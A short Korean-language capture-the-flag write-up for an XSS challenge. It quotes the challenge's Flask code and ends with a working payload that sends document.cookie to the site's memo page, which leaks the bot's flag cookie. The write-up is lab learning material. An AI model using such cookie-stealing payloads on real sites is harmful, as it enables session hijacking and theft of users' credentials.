여러 기능과 입력받은 URL을 확인한느 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
다운로드 받은 파일의 코드를 보자
check_xss
def check_xss(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" return read_url(url, cookie)
위와 같이 파라미터로 받은 값을 url에 더한 후, url과 cookie 값 을 return 한다.
flag
def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>'
위 코드를 보면 check_xss에 flag, FLAG.strip()을 쿠키 인자로 넣을 수 있게 보낸다 !
그렇다면 flag 페이지에서 보낸다면 쿠키엔 FLAG 값이 들어가 있을거다
memo
def memo(): global memo_text text = request.args.get("memo", "") memo_text += text + "\n" return render_template("memo.html", memo=memo_text)
메모 페이지에 메모를 저장해서 보여준다..
자 그러면 이제 check_xss 에서 return 될 flag값을 보면 끝이다.
그러면 이 return 값을 location.href를 통해 다른 사이트로 이동해서 써먹었다.
<script>location.href="/memo?memo="+document.cookie;</script>
위 스크립트문은 내가 써먹은 스크립트문이다
memo 페이지에 입력될 메모로 현재 페이지의 쿠키값으로 설정하면 이제 memo페이지에 return된 쿠키값이 출력된다 !
짜잔~